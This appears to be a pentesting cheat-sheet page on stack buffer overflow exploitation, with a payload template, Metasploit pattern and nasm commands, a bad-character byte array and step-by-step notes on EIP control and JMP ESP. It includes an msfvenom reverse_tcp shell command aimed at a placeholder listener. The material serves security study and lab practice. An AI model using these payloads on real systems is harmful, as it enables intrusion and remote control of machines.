Buffer Overflow

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Buffer Overflow
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#Buffer Overflow:
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​
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# Payload
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payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode> + "\x43" * <remaining_length>
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​
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# Pattern create
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/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
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​
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# Pattern offset
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/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q <address>
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​
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# nasm
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/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
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nasm > jmp eax
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​
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# Bad characters
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badchars = (
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"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
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"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
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"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
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"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
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"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
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"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
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"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
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"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
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"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
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"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
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"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
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"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
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"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
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"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
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"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
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"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
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​
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​
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Buffer Overflow
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Determine length of overflow trigger w/ binary search "A"x1000
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Determine exact EIP with pattern_create.rb & pattern_offset.rb
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Determine badchars to make sure all of your payload is getting through
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Develop exploit
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Is the payload right at ESP
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JMP ESP
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Is the payload before ESP
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sub ESP, 200 and then JMP ESP
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or
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call [ESP-200]
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msfvenom -a x86 --platform windows/linux -p something/shell/reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename
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Make sure it fits your payload length above
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Gain shell, local priv esc or rooted already?
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​
Copied!
​https://medium.com/@loopspell/10-easy-steps-to-exploit-basic-stack-based-buffer-overflow-3a0472a8a80e​
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Buffer overflow
Last modified 1yr ago
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